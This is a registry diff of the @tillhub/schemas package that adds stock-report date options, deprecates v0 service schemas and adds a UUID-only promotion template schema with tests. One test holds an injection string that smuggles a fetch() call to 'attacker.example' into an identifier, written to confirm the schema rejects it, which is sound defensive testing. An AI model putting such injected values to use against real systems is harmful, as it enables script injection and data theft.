@tillhub/schemas 6.450.0 → 6.452.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -89,19 +89,37 @@ module.exports.request = {
89
89
  minLength: 1,
90
90
  maxLength: 64
91
91
  },
92
+ as_of: {
93
+ type: 'string',
94
+ format: 'date-time',
95
+ example: '2025-12-31T22:59:59.999Z',
96
+ description:
97
+ 'ISO 8601 cut-off (inclusive). When set, Quantity Available is the latest stock-book balance at this instant per product × location. Send this or the start/end pair, not both. Omit both modes to return current stock.'
98
+ },
92
99
  start: {
93
100
  type: 'string',
94
101
  format: 'date-time',
95
102
  example: '2026-05-07T22:00:00.000Z',
96
103
  description:
97
- 'Url-safe ISO 8601 start of the reporting window. Filters stock rows by `updated_at` when set. Also used as the report `date` when `end` is omitted.'
104
+ 'Url-safe ISO 8601 start of the reporting window. Use with `end` as a pair to filter current stock rows by `updated_at`. Cannot be combined with `as_of`. Also used as the report `date` when `end` is omitted.'
98
105
  },
99
106
  end: {
100
107
  type: 'string',
101
108
  format: 'date-time',
102
109
  example: '2026-05-08T21:59:59.999Z',
103
110
  description:
104
- 'Url-safe ISO 8601 end of the reporting window. Filters stock rows by `updated_at` when set. Preferred source for the report `date` column when set.'
111
+ 'Url-safe ISO 8601 end of the reporting window. Use with `start` as a pair to filter current stock rows by `updated_at`. Cannot be combined with `as_of`. Preferred source for the report `date` column when set.'
112
+ }
113
+ },
114
+ allOf: [
115
+ {
116
+ description: 'Clients send either as_of or the start/end pair, not both.',
117
+ not: {
118
+ anyOf: [
119
+ { required: ['as_of', 'start'] },
120
+ { required: ['as_of', 'end'] }
121
+ ]
122
+ }
105
123
  }
106
- }
124
+ ]
107
125
  }
@@ -1,6 +1,9 @@
1
1
  const base = require('../product_groups/base')
2
2
  const { oneOf } = require('../../helpers/payload-or-null')
3
3
 
4
+ const DEPRECATION_NOTICE =
5
+ 'Service Categories v0 are deprecated, use v1 schemas instead'
6
+
4
7
  const request = {
5
8
  ...base.request,
6
9
  properties: {
@@ -21,10 +24,13 @@ const request = {
21
24
  default: false
22
25
  }
23
26
  },
24
- required: ['name']
27
+ required: ['name'],
28
+ deprecated: true,
29
+ description: DEPRECATION_NOTICE
25
30
  }
26
31
 
27
32
  module.exports = {
33
+ DEPRECATION_NOTICE,
28
34
  request,
29
35
  response: {
30
36
  ...request,
@@ -37,6 +43,8 @@ module.exports = {
37
43
  example: '05297f58-3408-44d0-8bf4-125d4e86c08a'
38
44
  },
39
45
  ...request.properties
40
- }
46
+ },
47
+ deprecated: true,
48
+ description: DEPRECATION_NOTICE
41
49
  }
42
50
  }
@@ -1,8 +1,10 @@
1
- const { response } = require('./base')
1
+ const { response, DEPRECATION_NOTICE } = require('./base')
2
2
  const commonResponse = require('../../common/response')
3
3
 
4
4
  module.exports = {
5
5
  $id: 'https://schemas.tillhub.com/v0/service_categories.create.response.schema.json',
6
6
  $schema: 'http://json-schema.org/draft-07/schema#',
7
- ...commonResponse({ resultItems: response })
7
+ ...commonResponse({ resultItems: response }),
8
+ deprecated: true,
9
+ description: DEPRECATION_NOTICE
8
10
  }
@@ -1,8 +1,10 @@
1
- const { response } = require('./base')
1
+ const { response, DEPRECATION_NOTICE } = require('./base')
2
2
  const commonResponse = require('../../common/response')
3
3
 
4
4
  module.exports = {
5
5
  $id: 'https://schemas.tillhub.com/v0/service_categories.update.response.schema.json',
6
6
  $schema: 'http://json-schema.org/draft-07/schema#',
7
- ...commonResponse({ resultItems: response })
7
+ ...commonResponse({ resultItems: response }),
8
+ deprecated: true,
9
+ description: DEPRECATION_NOTICE
8
10
  }
@@ -1,4 +1,5 @@
1
1
  const base = require('../products/create')
2
+ const { DEPRECATION_NOTICE } = require('./deprecation')
2
3
  const { oneOf } = require('../../helpers/payload-or-null')
3
4
 
4
5
  module.exports = {
@@ -44,6 +45,8 @@ module.exports = {
44
45
  }
45
46
  },
46
47
  required: ['name', 'duration', 'linked_product'],
48
+ deprecated: true,
49
+ description: DEPRECATION_NOTICE,
47
50
  $id: 'https://schemas.tillhub.com/v0/services.create.request.schema.json',
48
51
  $schema: 'http://json-schema.org/draft-07/schema#'
49
52
  }
@@ -1,4 +1,5 @@
1
1
  const request = require('./create.request')
2
+ const { DEPRECATION_NOTICE } = require('./deprecation')
2
3
  const commonResponse = require('../../common/response')
3
4
 
4
5
  const response = {
@@ -18,5 +19,7 @@ const response = {
18
19
  module.exports = {
19
20
  $id: 'https://schemas.tillhub.com/v0/services.create.response.schema.json',
20
21
  $schema: 'http://json-schema.org/draft-07/schema#',
21
- ...commonResponse({ resultItems: response })
22
+ ...commonResponse({ resultItems: response }),
23
+ deprecated: true,
24
+ description: DEPRECATION_NOTICE
22
25
  }
@@ -0,0 +1,3 @@
1
+ module.exports = {
2
+ DEPRECATION_NOTICE: 'Services v0 are deprecated, use v1 schemas instead'
3
+ }
@@ -1,4 +1,5 @@
1
1
  const base = require('../products/update')
2
+ const { DEPRECATION_NOTICE } = require('./deprecation')
2
3
  const { oneOf } = require('../../helpers/payload-or-null')
3
4
 
4
5
  module.exports = {
@@ -43,6 +44,8 @@ module.exports = {
43
44
  }
44
45
  },
45
46
  required: [],
47
+ deprecated: true,
48
+ description: DEPRECATION_NOTICE,
46
49
  $id: 'https://schemas.tillhub.com/v0/services.update.request.schema.json',
47
50
  $schema: 'http://json-schema.org/draft-07/schema#'
48
51
  }
@@ -1,4 +1,5 @@
1
1
  const request = require('./update.request')
2
+ const { DEPRECATION_NOTICE } = require('./deprecation')
2
3
  const commonResponse = require('../../common/response')
3
4
 
4
5
  const response = {
@@ -18,5 +19,7 @@ const response = {
18
19
  module.exports = {
19
20
  $id: 'https://schemas.tillhub.com/v0/services.update.response.schema.json',
20
21
  $schema: 'http://json-schema.org/draft-07/schema#',
21
- ...commonResponse({ resultItems: response })
22
+ ...commonResponse({ resultItems: response }),
23
+ deprecated: true,
24
+ description: DEPRECATION_NOTICE
22
25
  }
@@ -135,20 +135,21 @@ module.exports = {
135
135
  format: 'date-time'
136
136
  },
137
137
  system: {
138
- oneOf: [
139
- {
140
- type: 'array',
141
- minItems: 1,
142
- items: {
143
- type: 'string',
144
- format: 'uuid'
145
- }
146
- },
147
- {
148
- type: 'string',
149
- format: 'uuid'
150
- }
151
- ]
138
+ type: 'string',
139
+ format: 'uuid'
140
+ },
141
+ voucher_system: {
142
+ type: 'string',
143
+ format: 'uuid'
144
+ },
145
+ systems: {
146
+ type: 'array',
147
+ minItems: 1,
148
+ maxItems: 50,
149
+ items: {
150
+ type: 'string',
151
+ format: 'uuid'
152
+ }
152
153
  },
153
154
  location: {
154
155
  oneOf: [
@@ -1,2 +1,3 @@
1
1
  module.exports.create = require('./create')
2
2
  module.exports.update = require('./update')
3
+ module.exports.templateSecurity = require('./template-security')
@@ -0,0 +1,176 @@
1
+ const TYPES = {
2
+ EXCLUSIVE_BUNDLE: 'product_property:exclusive_bundle:output_properties',
3
+ AND_OR_CONCAT: 'product_property:and_or_concat:output_properties',
4
+ ENTIRE_BASKET: 'product_property:entire_basket:output_properties'
5
+ }
6
+
7
+ const uuidString = {
8
+ type: 'string',
9
+ format: 'uuid'
10
+ }
11
+
12
+ const uuidRef = {
13
+ oneOf: [
14
+ uuidString,
15
+ {
16
+ type: 'object',
17
+ required: ['id'],
18
+ additionalProperties: true,
19
+ properties: {
20
+ id: uuidString
21
+ }
22
+ }
23
+ ]
24
+ }
25
+
26
+ const uuidRefList = {
27
+ type: 'array',
28
+ items: uuidRef
29
+ }
30
+
31
+ const outputProperties = {
32
+ type: 'object',
33
+ required: ['property', 'value'],
34
+ additionalProperties: true,
35
+ properties: {
36
+ property: {
37
+ type: 'string',
38
+ enum: ['amount_total_gross', 'percentage_discount', 'amount_discount']
39
+ },
40
+ value: {
41
+ type: 'number'
42
+ }
43
+ }
44
+ }
45
+
46
+ /**
47
+ * Security-focused promotion template schema.
48
+ * Tightens identifier fields to UUID format.
49
+ */
50
+ module.exports = {
51
+ $id: 'https://schemas.tillhub.com/v1/promotions.template-security.schema.json',
52
+ $schema: 'http://json-schema.org/draft-07/schema#',
53
+ oneOf: [
54
+ {
55
+ type: 'object',
56
+ required: ['type', 'inputs'],
57
+ additionalProperties: true,
58
+ properties: {
59
+ type: { const: TYPES.EXCLUSIVE_BUNDLE },
60
+ inputs: {
61
+ type: 'object',
62
+ required: ['promotable_product', 'bundle_junctions', 'output'],
63
+ additionalProperties: true,
64
+ properties: {
65
+ repeatable_promotable: { type: 'boolean' },
66
+ promotable_product: {
67
+ type: 'object',
68
+ required: ['value'],
69
+ additionalProperties: true,
70
+ properties: {
71
+ value: uuidString,
72
+ qty: { type: 'number' },
73
+ property: { type: 'string' }
74
+ }
75
+ },
76
+ bundle_junctions: {
77
+ type: 'array',
78
+ minItems: 1,
79
+ maxItems: 1,
80
+ items: {
81
+ type: 'object',
82
+ required: ['type', 'value'],
83
+ additionalProperties: true,
84
+ properties: {
85
+ type: { const: 'product' },
86
+ value: uuidString,
87
+ qty: { type: 'number' },
88
+ property: { type: 'string' }
89
+ }
90
+ }
91
+ },
92
+ output: outputProperties
93
+ }
94
+ }
95
+ }
96
+ },
97
+ {
98
+ type: 'object',
99
+ required: ['type', 'inputs'],
100
+ additionalProperties: true,
101
+ properties: {
102
+ type: { const: TYPES.AND_OR_CONCAT },
103
+ inputs: {
104
+ type: 'object',
105
+ required: ['promotable_product', 'bundle_junctions', 'output'],
106
+ additionalProperties: true,
107
+ properties: {
108
+ repeatable_promotable: { type: 'boolean' },
109
+ promotable_product: {
110
+ type: 'object',
111
+ required: ['value'],
112
+ additionalProperties: true,
113
+ properties: {
114
+ value: uuidString,
115
+ qty: { type: 'number' },
116
+ property: { type: 'string' }
117
+ }
118
+ },
119
+ bundle_junctions: {
120
+ type: 'array',
121
+ minItems: 2,
122
+ maxItems: 2,
123
+ items: {
124
+ type: 'object',
125
+ required: ['type', 'value'],
126
+ additionalProperties: true,
127
+ properties: {
128
+ type: { enum: ['product', 'product_group'] },
129
+ value: uuidRefList,
130
+ qty: { type: 'number' },
131
+ property: { type: 'string' }
132
+ }
133
+ }
134
+ },
135
+ output: outputProperties
136
+ }
137
+ }
138
+ }
139
+ },
140
+ {
141
+ type: 'object',
142
+ required: ['type', 'inputs'],
143
+ additionalProperties: true,
144
+ properties: {
145
+ type: { const: TYPES.ENTIRE_BASKET },
146
+ inputs: {
147
+ type: 'object',
148
+ required: ['promotable_product', 'promotable_product_group', 'required_amount', 'output'],
149
+ additionalProperties: true,
150
+ properties: {
151
+ promotable_product: {
152
+ type: 'object',
153
+ required: ['value'],
154
+ additionalProperties: true,
155
+ properties: {
156
+ value: uuidRefList,
157
+ property: { type: 'string' }
158
+ }
159
+ },
160
+ promotable_product_group: {
161
+ type: 'object',
162
+ required: ['value'],
163
+ additionalProperties: true,
164
+ properties: {
165
+ value: uuidRefList,
166
+ property: { type: 'string' }
167
+ }
168
+ },
169
+ required_amount: { type: 'number' },
170
+ output: outputProperties
171
+ }
172
+ }
173
+ }
174
+ }
175
+ ]
176
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@tillhub/schemas",
3
- "version": "6.450.0",
3
+ "version": "6.452.0",
4
4
  "private": false,
5
5
  "description": "All Tillhub API OpenAPI 3 compatible JSON Schemas.",
6
6
  "main": "./lib/index.js",
@@ -0,0 +1,51 @@
1
+ const test = require('tape')
2
+ const Ajv = require('ajv')
3
+ const validate = require('../../../helpers/validate-schema')
4
+ const stocksSchema = require('../../../../lib/v0/analytics/reports/stocks')
5
+
6
+ const ajv = new Ajv()
7
+ const validateRequest = ajv.compile(stocksSchema.request)
8
+
9
+ const AS_OF = '2025-12-31T22:59:59.999Z'
10
+ const START = '2026-05-07T22:00:00.000Z'
11
+ const END = '2026-05-08T21:59:59.999Z'
12
+
13
+ test('analytics:reports:stocks:v0: request schema is valid', function (t) {
14
+ t.plan(2)
15
+ const { valid, error } = validate(stocksSchema.request)
16
+ t.ok(valid, 'request schema is valid')
17
+ t.error(error, 'should not get any error')
18
+ t.end()
19
+ })
20
+
21
+ test('analytics:reports:stocks:v0: accepts as_of without start/end', function (t) {
22
+ t.plan(1)
23
+ t.ok(validateRequest({ as_of: AS_OF }), 'as_of alone is valid')
24
+ t.end()
25
+ })
26
+
27
+ test('analytics:reports:stocks:v0: accepts the start/end pair without as_of', function (t) {
28
+ t.plan(1)
29
+ t.ok(validateRequest({ start: START, end: END }), 'start/end pair is valid')
30
+ t.end()
31
+ })
32
+
33
+ test('analytics:reports:stocks:v0: accepts omitting both date modes', function (t) {
34
+ t.plan(1)
35
+ t.ok(validateRequest({}), 'current stock without as_of or start/end is valid')
36
+ t.end()
37
+ })
38
+
39
+ test('analytics:reports:stocks:v0: rejects as_of combined with start or end', function (t) {
40
+ t.plan(3)
41
+ t.notOk(validateRequest({ as_of: AS_OF, start: START }), 'as_of + start is invalid')
42
+ t.notOk(validateRequest({ as_of: AS_OF, end: END }), 'as_of + end is invalid')
43
+ t.notOk(validateRequest({ as_of: AS_OF, start: START, end: END }), 'as_of + start/end is invalid')
44
+ t.end()
45
+ })
46
+
47
+ test('analytics:reports:stocks:v0: rejects invalid as_of', function (t) {
48
+ t.plan(1)
49
+ t.notOk(validateRequest({ as_of: 'not-a-valid-iso8601' }), 'non-ISO as_of is invalid')
50
+ t.end()
51
+ })
@@ -0,0 +1,55 @@
1
+ const Ajv = require('ajv')
2
+ const test = require('tape')
3
+ const templateSecurity = require('../../lib/v1/promotions/template-security')
4
+
5
+ const ajv = new Ajv({ allErrors: true })
6
+ const validate = ajv.compile(templateSecurity)
7
+
8
+ const PROMOTABLE = '0e0ae64e-1499-435d-af31-5bc5d35b1ed2'
9
+ const BUNDLE = 'e9516453-d974-430a-8277-7373bd392157'
10
+
11
+ function exclusiveTemplate (promotableId = PROMOTABLE) {
12
+ return {
13
+ type: 'product_property:exclusive_bundle:output_properties',
14
+ inputs: {
15
+ repeatable_promotable: true,
16
+ promotable_product: {
17
+ property: 'id',
18
+ value: promotableId,
19
+ qty: 1
20
+ },
21
+ bundle_junctions: [{
22
+ type: 'product',
23
+ property: 'id',
24
+ value: BUNDLE,
25
+ qty: 1
26
+ }],
27
+ output: {
28
+ property: 'amount_total_gross',
29
+ value: 5
30
+ }
31
+ }
32
+ }
33
+ }
34
+
35
+ test('Promotions: template security schema accepts UUID identifiers', function (t) {
36
+ t.plan(1)
37
+ t.ok(validate(exclusiveTemplate()), 'valid identifiers should pass')
38
+ })
39
+
40
+ test('Promotions: template security schema rejects injectable identifiers', function (t) {
41
+ t.plan(1)
42
+ t.notOk(
43
+ validate(exclusiveTemplate('12"; fetch("https://attacker.example"); //')),
44
+ 'non-UUID identifier should fail'
45
+ )
46
+ })
47
+
48
+ test('Promotions: template security schema is exported', function (t) {
49
+ t.plan(1)
50
+ t.equal(
51
+ require('../../lib/v1/promotions').templateSecurity,
52
+ templateSecurity,
53
+ 'v1 promotions exports the security schema'
54
+ )
55
+ })